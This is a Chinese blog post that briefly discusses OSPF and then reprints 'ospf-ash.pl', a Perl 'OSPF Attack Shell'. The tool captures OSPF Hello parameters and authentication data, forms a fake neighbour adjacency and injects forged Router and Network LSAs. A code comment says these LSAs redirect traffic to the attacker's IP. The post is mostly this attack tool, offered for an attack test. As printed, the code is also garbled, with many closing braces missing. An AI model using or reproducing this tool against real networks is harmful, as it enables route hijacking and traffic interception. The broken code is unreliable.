天天看点

OSPF协议栈的perl 脚本实现!

OSPF协议栈的perl 脚本实现!

现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性!

OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。

本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个攻击测试。

如下就是OSPF perl脚本代码:

#!/usr/bin/perl

#

# $Id: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $

package Net::Attack::OSPF;

use strict;

use warnings;

our $VERSION = '0.16';

use Net::Frame::Device;

use Net::Frame::Dump::Online;

use Net::Frame::Simple;

use Net::Write::Layer2;

use Net::Frame::Layer qw(:subs);

use Net::Frame::Layer::ETH qw(:consts);

use Net::Frame::Layer::ARP qw(:consts);

use Net::Frame::Layer::IPv4 qw(:consts);

use Net::Frame::Layer::OSPF qw(:consts);

use Net::Frame::Layer::OSPF::Hello;

use Net::Frame::Layer::OSPF::DatabaseDesc;

use Net::Frame::Layer::OSPF::Lsa;

use Data::Dumper;

use Term::ReadLine;

use Time::HiRes qw(gettimeofday);

our $oDevice;

our $oWrite;

# To store OSPF parameters (areaId, ...)

our $Env = {

   routerPri    => 1,

   lsAge        => 200,

   areaId       => undef,

   networkMask  => undef,

   dr           => undef,

   bdr          => undef,

   neighborList => [],

   _neighbors   => [],

   state        => 'start',

};

# Will store ARP cache table

our $Mac = {};

sub init {

   my ($dev, $src, $mac) = @_;

   if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }

   else      { $oDevice = Net::Frame::Device->new              }

   $oDevice->ip($src)  if $src;

   $oDevice->mac($mac) if $mac;

   print "\n  -- OSPF Attack Shell - $VERSION --\n\n";

   print "Using device    : ".$oDevice->dev."\n";

   print "Using source IP : ".$oDevice->ip. "\n";

   print "Using source MAC: ".$oDevice->mac."\n";

   $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);

   $oWrite->open;

}

sub help {

   print

      "You can use the following functions:\n".

      "  listen()    wait for an OSPF Hello frame, get various variables\n".

      "  exchange()  become an OSPF neighbor with all available routers\n".

      "  lock()      keep regularly sending Hello frames\n".

      "  lsu_router(NETWORK,MASK)        inject a LSA Router\n".

      "";

sub _dumpCallListen {

   my ($h, $data) = @_;

   my $f = Net::Frame::Simple->newFromDump($h);

   if ($f->ref->{'OSPF'}) {

      my $packet = $f->ref->{'OSPF'}->packet;

      if ($packet->layer eq 'OSPF::Hello') {

         my $dr = $packet->designatedRouter

            if $packet->designatedRouter;

         my $bdr = $packet->backupDesignatedRouter

            if $packet->backupDesignatedRouter;

         my @nl;

         for ($packet->neighborList) {

            push @nl, $_ unless /^0.0.0.0$/;

         }

         # If there is only a DR, we add it to neighborList

         if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; }

         print "Hello from: ".$f->ref->{'IPv4'}->src."\n";

         print "Found: DR : $dr\n"  if $dr;

         print "Found: BDR: $bdr\n" if $bdr;

         print "Found: neighborList: @nl\n" if @nl;

         $Env->{dr}            = $dr  if $dr;

         $Env->{bdr}           = $bdr if $bdr;

         $Env->{neighborList}  = \@nl if @nl;

         $Env->{helloInterval} = $packet->helloInterval

            if $packet->helloInterval;

         $Env->{routerDeadInterval} = $packet->routerDeadInterval

            if $packet->routerDeadInterval;

         $Env->{networkMask} = $packet->networkMask

            if $packet->networkMask;

         $Env->{areaId} = $f->ref->{'OSPF'}->areaId

            if $f->ref->{'OSPF'}->areaId;

         $Env->{authType} = $f->ref->{'OSPF'}->authType

            if $f->ref->{'OSPF'}->authType;

         $Env->{authData} = $f->ref->{'OSPF'}->authData

            if $f->ref->{'OSPF'}->authData;

         printf "AuthType: 0x%02d\n", $Env->{authType}

            if $Env->{authType};

         printf "AuthData: %s\n", $Env->{authData}

            if $Env->{authData};

         $data->stop;

      }

   }

sub _updateNeighbors {

   my %neighbor;

   $neighbor{$Env->{dr}}  = '' if ($Env->{dr}  && $Env->{dr}  !~ /^0.0.0.0$/);

   $neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);

   for (@{$Env->{neighborList}}) {

      #next if /^0.0.0.0$/;

      $neighbor{$_} = '';

   for (keys %neighbor) {

   $Env->{_neighbors} = [ keys %neighbor ];

sub listen {

   # Flush $Env vars

   $Env->{dr}           = undef;

   $Env->{bdr}          = undef;

   $Env->{neighborList} = [];

   $Env->{authType} = undef;

   $Env->{authData} = undef;

   my $oDump = Net::Frame::Dump::Online->new(

      dev       => $oDevice->dev,

      overwrite => 1,

      promisc   => 1,

   );

   $oDump->filter('dst host 224.0.0.5 and ip proto 0x59');

   $oDump->onRecv(\&_dumpCallListen);

   $oDump->onRecvData($oDump);

   $oDump->start;

   if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {

      $Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});

   if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {

      $Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});

   _updateNeighbors();

sub _ospfSend1 {

   my ($f) = @_;

   $f->send($oWrite);

sub _ospfSend {

   my ($f, $oDump, $recvFrom) = @_;

   my $recv;

   for (1..2) {  # Two retries

      $f->send($oWrite);

      until ($oDump->timeout) {

         if ($recv = $f->recv($oDump)) {

            my $dst = $f->ref->{'IPv4'}->dst;

            my $src = $recv->ref->{'IPv4'}->src;

            if ($recvFrom && ($src eq $recvFrom)) {

               last;

            }

            elsif ($dst eq '224.0.0.5' || $dst eq $src) {

            $recv = undef;

      $oDump->timeoutReset;

      last if $recv;

   $recv;

sub _getEthHdr {

   my ($dst) = @_;

   my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;

   Net::Frame::Layer::ETH->new(

      src => $oDevice->mac,

      dst => $mac || NF_ETH_ADDR_BROADCAST,

sub _getIpHdr {

   my ($src, $dst) = @_;

   Net::Frame::Layer::IPv4->new(

      noFixLen => 1,

      ttl      => 1,

      src      => $src,

      dst      => $dst || '224.0.0.5',

      protocol => NF_IPv4_PROTOCOL_OSPF,

sub _getOspfHello {

   my $eth = _getEthHdr();

   my $ip  = _getIpHdr($oDevice->ip);

   my $ospf = Net::Frame::Layer::OSPF->new(

      type     => NF_OSPF_TYPE_HELLO,

      routerId => $oDevice->ip,

      areaId   => $Env->{areaId},

      authType => $Env->{authType},

      authData => $Env->{authData},

   my $ospfHello = Net::Frame::Layer::OSPF::Hello->new(

      networkMask        => $Env->{networkMask},

      helloInterval      => $Env->{helloInterval},

      options            => NF_OSPF_HELLO_OPTIONS_E,

      routerPri          => $Env->{routerPri},

      routerDeadInterval => $Env->{routerDeadInterval},

      designatedRouter       => $Env->{dr},

      backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',

      neighborList           => $Env->{neighborList},

   $ospf->packet($ospfHello);

   $ospf->computeLengths;

   $ospf->computeChecksums;

   $ip->length($ip->length + $ospf->length);

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);

sub _getOspfDbd {

   my ($router, $flags, $seqnum, $lsa) = @_;

   my $eth = _getEthHdr($router);

   my $ip  = _getIpHdr($oDevice->ip, $router);

      type     => NF_OSPF_TYPE_DATABASEDESC,

   my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(

      ddSequenceNumber => $seqnum || 4300,

      options          =>

         NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,

      flags            => $flags ||

         (NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |

         NF_OSPF_DATABASEDESC_FLAGS_MS),

   $ospf->packet($ospfDbd);

   $ospf->packet->lsaList([ $lsa ]) if $lsa;

   Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);

sub _getLsaRouterHeader {

   Net::Frame::Layer::OSPF::Lsa->new(

      lsAge             => 92,

      options           => 0x02,

      lsType            => 0x01,

      linkStateId       => $oDevice->ip,

      advertisingRouter => $oDevice->ip,

      lsSequenceNumber  => 1,

sub exchange {

   my ($router) = @_;

      dev           => $oDevice->dev,

      overwrite     => 1,

      promisc       => 1,

      timeoutOnNext => 2,

   $oDump->filter('ip proto 0x59');

   my $ospfHelloReply = _ospfSend(_getOspfHello(), $oDump, $router);

   die("No router listens") unless $ospfHelloReply;

   # We are in ExStart state

   for (@{$Env->{_neighbors}}) {

      next if /^0.0.0.0$/;

      # Then, DR sends DBD, we reply the same DBD

      my $ospfDbd      = _getOspfDbd($_);

      my $ospfDbdReply = _ospfSend($ospfDbd, $oDump);

      if (! $ospfDbdReply) {

         warn("$_: No DBD reply");

         next;

      # We are in Exchange state

      # Now is Exchange state, we reply with received ddSeqNum + 1, flags M|MS,

      # and our Router-LSA header

      my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;

      my $flags  = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;

      my $lsaRouter     = _getLsaRouterHeader();

      my $ospfDbd2      = _getOspfDbd($_, $flags, $seqnum, $lsaRouter);

      my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump);

      if (! $ospfDbd2Reply) {

         warn("$_: No DBD2 reply");

      # Last step before LS exchange, we reply to the "empty" request with

      # ddSeqNum +1, flags MS only

      $seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;

      $flags  = NF_OSPF_DATABASEDESC_FLAGS_MS;

      my $ospfDbd3      = _getOspfDbd($_, $flags, $seqnum);

      my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump);

      if (! $ospfDbd3Reply) {

         warn("$_: No DBD3 reply");

      print "$_: exchange complete\n";

   # If there were no BDR, we are the new one

   if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {

      $Env->{bdr} = $oDevice->ip;

   $Env->{neighborList} = [ @{$Env->{_neighbors}} ];

   push @{$Env->{neighborList}}, $oDevice->ip;

   $oDump->stop;

sub _getLsuNetwork {

   my ($linkStateId, $router, $netmask) = @_;

      type     => NF_OSPF_TYPE_LINKSTATEUPDATE,

   my $lsa = Net::Frame::Layer::OSPF::Lsa->new(

      lsAge   => $Env->{lsAge},

      options => 0x02,

      lsType  => 0x02,

      linkStateId       => $linkStateId || $oDevice->ip,

      lsSequenceNumber  => getRandom32bitsInt(),

   my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(

      netmask    => $netmask,

      routerList => [ $router, ],

   $lsa->lsa($lsaNetwork);

   $lsa->computeLengths;

   $lsa->computeChecksums;

   my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(

      lsaNumber => 1,

      lsaList   => [ $lsa ],

   $ospf->packet($ospfLsu);

sub _getLsuRouter {

   my ($network, $mask) = @_;

      options => 0x22,

      lsType  => 0x01,

   my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(

      flags => 0,

   # To correctly send a router, we must first advertise the network/mask

   # In a stub network (type 0x03)

   my @linkList = ();

   push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(

      linkId   => $network,

      linkData => $mask,

      type     => 0x03,

      nTos     => 0,

      metric   => 10,

   # Then, we MUST say which is the gateway, to the DR

   # Here, we say the gateway is our IP address to redirect 

   # trafic to us.

      linkId   => $Env->{dr},

      linkData => $oDevice->ip,

      type     => 0x02,

   $lsaRouter->nLink(scalar @linkList);

   $lsaRouter->linkList(\@linkList);

   $lsa->lsa($lsaRouter);

sub lsu_network {

   my $lsu = _getLsuNetwork($linkStateId, $router, $netmask);

   _ospfSend1($lsu);

sub lsu_router {

   my $lsu = _getLsuRouter($network, $mask);

sub _getLsaAck {

   my ($request) = @_;

      type     => NF_OSPF_TYPE_LINKSTATEACK,

   my $raw = '';

   for ($request->lsaList) {

      $_->lsa(undef);

      $raw .= $_->pack;

   $ospf->packet($raw);

sub _dumpCallOnRecv {

   my $frame = Net::Frame::Simple->newFromDump($h);

   if ($frame->ref->{'OSPF'}) {

      my $packet = $frame->ref->{'OSPF'}->packet;

      if ($packet) {

         # If a LSU frame is seen, we must acknowledge it

         if ($packet->layer eq 'OSPF::LinkStateUpdate') {

            _ospfSend1(_getLsaAck($packet));

         # If a Hello frame is seen, we send one, to keep behing in neighborhood

         elsif ($packet->layer eq 'OSPF::Hello') {

            _ospfSend1(_getOspfHello());

sub lock {

   my $pid = fork();

   die("fork: $!") unless defined($pid);

   if ($pid) { # Parent process

      return 1;

   else { # Child process

      close(STDIN);

      close(STDOUT);

      close(STDERR);

      my $oDumpChild = Net::Frame::Dump::Online->new(

         overwrite => 1,

         promisc   => 1,

         dev       => $oDevice->dev,

         filter    => 'ip proto 0x59 '.

                      'and not src host '.$oDevice->ip,

         onRecv    => \&_dumpCallOnRecv,

      );

      $oDumpChild->start;

      $oDumpChild->stop;

      exit(0);

sub ash {

   init($dev, $src, $mac);

   my $prompt = 'ash> ';

   my $name   = 'ASH';

   my $term   = Term::ReadLine->new($name);

   $term->ornaments(0);

   {

      no strict;

      while (1) {

         if (my $line = $term->readline($prompt)) {

            $line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/;

            eval($line);

            warn($@) if $@;

            print "\n";

   print "\n";

1;

package main;

my $dev = shift;

my $src = shift;

my $mac = shift;

Net::Attack::OSPF::ash($dev, $src, $mac);

__END__

=head1 NAME

ospf-ash - Net::Frame based OSPF Attack Shell tool

=head1 AUTHOR

Patrice E<lt>GomoRE<gt> Auffret

=head1 COPYRIGHT AND LICENSE

Copyright (c) 2007, Patrice E<lt>GomoRE<gt> Auffret

You may distribute this module under the terms of the Artistic license.

See LICENSE.Artistic file in the source distribution archive.

=cut

本文转自jasonccier 51CTO博客,原文链接:http://blog.51cto.com/jasonccie/393110,如需转载请自行联系原作者